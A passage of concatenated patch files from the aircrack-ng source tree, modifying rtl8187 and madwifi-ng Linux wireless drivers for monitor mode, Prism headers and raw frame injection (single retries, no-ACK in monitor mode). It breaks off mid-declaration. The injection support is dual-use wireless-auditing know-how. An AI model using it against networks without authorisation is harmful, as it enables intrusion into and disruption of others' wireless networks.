+hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac.c rtl8187_txpower/ieee80211/ieee80211_softmac.c --- rtl8187_orig/ieee80211/ieee80211_softmac.c 2006-06-19 03:27:33.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_softmac.c 2007-02-17 13:43:15.987532482 +0100 @@ -386,9 +386,8 @@ void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) { - down(&ieee->scan_sem); - short watchdog = 0; + down(&ieee->scan_sem); do{ ieee->current_network.channel = @@ -1467,12 +1466,13 @@ u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; @@ -2165,12 +2165,21 @@ ieee->wq = create_workqueue(DRV_NAME); #endif +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq); +#endif sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_txpower/ieee80211/ieee80211_softmac_wx.c --- rtl8187_orig/ieee80211/ieee80211_softmac_wx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_softmac_wx.c 2007-02-17 13:43:16.057533538 +0100 @@ -134,14 +134,14 @@ u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - struct sockaddr *temp = (struct sockaddr *)awrq; - + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; @@ -245,8 +245,7 @@ goto out; if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } diff -Naur rtl8187_orig/ieee80211/ieee80211_tx.c rtl8187_txpower/ieee80211/ieee80211_tx.c --- rtl8187_orig/ieee80211/ieee80211_tx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_tx.c 2007-02-17 13:43:16.057533538 +0100 @@ -32,7 +32,6 @@ ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" @@ -458,7 +461,8 @@ ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; diff -Naur rtl8187_orig/makedrv rtl8187_txpower/makedrv --- rtl8187_orig/makedrv 2006-09-05 07:21:10.000000000 +0200 +++ rtl8187_txpower/makedrv 2007-02-17 13:42:37.616953671 +0100 @@ -5,6 +5,7 @@ cd ieee80211 make clean make +cp Module.symvers beta-8187/ cd ../beta-8187 make clean make diff -Naur rtl8187_orig/makedrvbk rtl8187_txpower/makedrvbk --- rtl8187_orig/makedrvbk 2006-09-05 07:21:10.000000000 +0200 +++ rtl8187_txpower/makedrvbk 2007-02-17 13:42:41.357010089 +0100 @@ -1,9 +1,11 @@ #!/bin/bash cd ieee80211/ +rm Module.symvers make clean make cd - +cp ieee80211/Module.symvers beta-8187/ cd beta-8187/ make clean make aircrack-ng-1.2-rc4/patches/old/madwifi-ng-r1486.patch0000644000000000000000000000167110761053203020755 0ustar rootrootdiff -ur madwifi-ng-r1486/ath/if_ath.c patched_madwifi-ng-r1486/ath/if_ath.c --- madwifi-ng-r1486/ath/if_ath.c 2006-03-23 22:09:04.000000000 +0100 +++ patched_madwifi-ng-r1486/ath/if_ath.c 2006-03-28 20:59:14.000000000 +0200 @@ -2240,6 +2240,7 @@ struct ath_softc *sc = dev->priv; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); + struct ieee80211com *ic = &sc->sc_ic; const HAL_RATE_TABLE *rt; int pktlen; int hdrlen; @@ -2254,7 +2255,11 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ATH_TXMAXTRY; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ATH_TXMAXTRY; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the card waits for acknowledges... + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; aircrack-ng-1.2-rc4/patches/old/sqlite-3.4.2-lib-cygwin.diff0000644000000000000000000000061610761053203021765 0ustar rootroot--- Makefile 2007-10-04 22:56:07.671875000 +0200 +++ Makefile.cygwin 2007-10-04 22:54:07.468750000 +0200 @@ -681,7 +681,7 @@ mkdir -p doc mv $(DOC) doc -install: sqlite3$(TEXE) libsqlite3.la sqlite3.h ${HAVE_TCL:1=tcl_install} +install: libsqlite3.la sqlite3.h $(INSTALL) -d $(DESTDIR)$(libdir) $(LTINSTALL) libsqlite3.la $(DESTDIR)$(libdir) $(INSTALL) -d $(DESTDIR)$(exec_prefix)/bin aircrack-ng-1.2-rc4/patches/old/madwifi-ng-r3745.patch0000644000000000000000000000226311134713404020754 0ustar rootrootdiff -Naur madwifi/ath/if_ath.c madwifi_rawtx/ath/if_ath.c --- madwifi/ath/if_ath.c 2008-06-24 17:20:58.000000000 -0400 +++ madwifi_rawtx/ath/if_ath.c 2008-06-24 17:20:12.000000000 -0400 @@ -2950,6 +2950,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = dev->priv; + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = &(SKB_CB(skb)->phy); const HAL_RATE_TABLE *rt; @@ -2962,7 +2963,8 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *)skb->data; - try0 = ph->try[0]; +// try0 = ph->try[0]; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try[0]; rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate[0]); power = ph->power > 60 ? 60 : ph->power; @@ -2986,7 +2988,8 @@ rt = sc->sc_currates; KASSERT(rt != NULL, ("no rate table, mode %u", sc->sc_curmode)); - if (IEEE80211_IS_MULTICAST(wh->i_addr1)) { + if (IEEE80211_IS_MULTICAST(wh->i_addr1) || ((ic->ic_opmode == +IEEE80211_M_MONITOR) && (skb->data[1]&3) != 0x01) ) { flags |= HAL_TXDESC_NOACK; /* no ack on broad/multicast */ sc->sc_stats.ast_tx_noack++; try0 = 1; aircrack-ng-1.2-rc4/patches/old/rtl8187_2.6.24v2.patch0000644000000000000000000154751310761053203020376 0ustar rootrootdiff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211_crypt.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211_crypt.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211_crypt.h 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211_crypt.h 2008-01-30 17:38:10.000000000 +0100 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211.h 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211.h 2008-01-30 17:38:10.000000000 +0100 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,18 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct 